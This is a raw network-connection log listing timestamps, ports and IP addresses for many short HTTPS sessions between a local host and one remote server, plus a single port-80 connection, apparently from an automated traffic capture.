Oct 4, 2024 15:54:15.306763887 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.306926012 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.310266972 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.310278893 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.687516928 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.688031912 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.688047886 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.688471079 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.688476086 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.689215899 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.689568996 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.689598083 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.689979076 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.689986944 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.697824955 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.698993921 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.699018002 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.699497938 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.699503899 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.715290070 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.718234062 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.718250990 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.718669891 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.718673944 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805069923 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805090904 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805141926 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805188894 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.805227041 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.805453062 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.805470943 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805483103 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.805490017 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805619001 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805646896 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805715084 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.805741072 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.805815935 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.807421923 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.807442904 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.807472944 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.807478905 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.808902979 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.808943987 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.809036016 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.809824944 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.809837103 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.811559916 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.811570883 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.811785936 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.811785936 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.811805010 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.813041925 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.813210964 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.813632965 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.813791990 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.813803911 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.813813925 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.813818932 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.816179037 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.816221952 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.816325903 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.816452026 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.816468000 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.827178955 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.827235937 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.827589035 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.827621937 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.827656984 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.827759027 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.827769995 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.827805042 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.827811003 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.830595970 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.830634117 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.830718040 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.831248999 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.831267118 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.988682985 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.989383936 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.989398956 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.990015984 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.990021944 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.104083061 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.104151011 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.104234934 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.104392052 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.104392052 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.104407072 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.104415894 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.107192039 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.107229948 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.107297897 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.107556105 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.107568979 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.596976042 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.597641945 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.597667933 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.598077059 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.598083019 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.605771065 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.606197119 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.606205940 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.606834888 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.606839895 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.611015081 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.611475945 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.611483097 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.612025023 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.612029076 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.614386082 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.614754915 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.614772081 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.615143061 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.615148067 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.700747013 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.700778008 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.700846910 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.700862885 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.700972080 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.701090097 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.701112032 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.701128006 CEST	49976	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.701133966 CEST	443	49976	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.704011917 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.704058886 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.704411983 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.704638958 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.704658031 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.713150024 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.713213921 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.713407040 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.713815928 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.713834047 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.713845015 CEST	49974	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.713851929 CEST	443	49974	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.716204882 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.716219902 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.716407061 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.716520071 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.716526985 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.723742008 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.723808050 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.723880053 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.724092007 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.724102020 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.724109888 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.724114895 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.728056908 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.728095055 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.728163958 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.728193998 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.728244066 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.735843897 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.735867023 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.735882044 CEST	49975	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.735888004 CEST	443	49975	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.738569021 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.738604069 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.738837957 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.738838911 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.738864899 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.738954067 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.739065886 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.739082098 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.739173889 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.739187002 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.767035007 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.770199060 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.770217896 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.770664930 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.770678043 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.880108118 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.880129099 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.880182028 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.880270958 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.880287886 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.880320072 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.880342960 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.959425926 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.959498882 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.959533930 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.959589958 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.959687948 CEST	49977	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.959711075 CEST	443	49977	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.963269949 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.963294983 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:16.963989019 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.964314938 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:16.964327097 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.137645006 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:17.387356997 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.387744904 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.387965918 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.387978077 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.388031960 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.388058901 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.388478994 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.388483047 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.388689041 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.388695955 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.451580048 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.452987909 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.453594923 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.453619003 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.453650951 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.453670979 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.454051018 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.454056978 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.454103947 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.454112053 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489260912 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489279985 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489363909 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.489373922 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489648104 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.489653111 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489667892 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.489872932 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489909887 CEST	443	49978	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.489962101 CEST	49978	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.492321968 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.492363930 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.492475986 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.492603064 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.492621899 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.494677067 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.494728088 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.494750023 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.495403051 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.495403051 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.495424986 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.496256113 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.563400984 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.563432932 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.563493967 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.563536882 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.563570023 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.563802958 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.563818932 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.563831091 CEST	49981	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.563838005 CEST	443	49981	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.566560984 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.566603899 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.566701889 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.566868067 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.566884041 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.575373888 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.575418949 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.575486898 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.575684071 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.575850964 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.575850964 CEST	49979	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.575866938 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.575876951 CEST	443	49979	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.578164101 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.578203917 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.578290939 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.578393936 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.578408003 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.642868996 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.643848896 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.643860102 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.644320965 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.644325018 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.744004011 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.744205952 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.744272947 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.749855042 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.749866009 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.749876022 CEST	49982	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.749881983 CEST	443	49982	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.753026962 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.753037930 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.753103971 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.753268957 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.753278971 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.768018961 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.768074989 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.768243074 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.768245935 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.768488884 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.768488884 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.768517971 CEST	49980	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.768533945 CEST	443	49980	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.771533966 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.771570921 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:17.771651983 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.771796942 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:17.771819115 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.136892080 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.137972116 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.137972116 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.137989998 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.138000965 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.217993021 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.219643116 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.219664097 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.220181942 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.220189095 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.232748985 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.235193968 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.235218048 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.235620975 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.235627890 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.236408949 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.236466885 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.236584902 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.236709118 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.236709118 CEST	49983	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.236732006 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.236738920 CEST	443	49983	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.239434004 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.239460945 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.239667892 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.239667892 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.239691973 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.319093943 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.319165945 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.321376085 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.321655035 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.321655035 CEST	49984	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.321683884 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.321696043 CEST	443	49984	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.325357914 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.325407982 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.325539112 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.325623989 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.325633049 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.342325926 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.342427015 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.342473984 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.344769955 CEST	49985	443	192.168.2.10	13.107.246.60
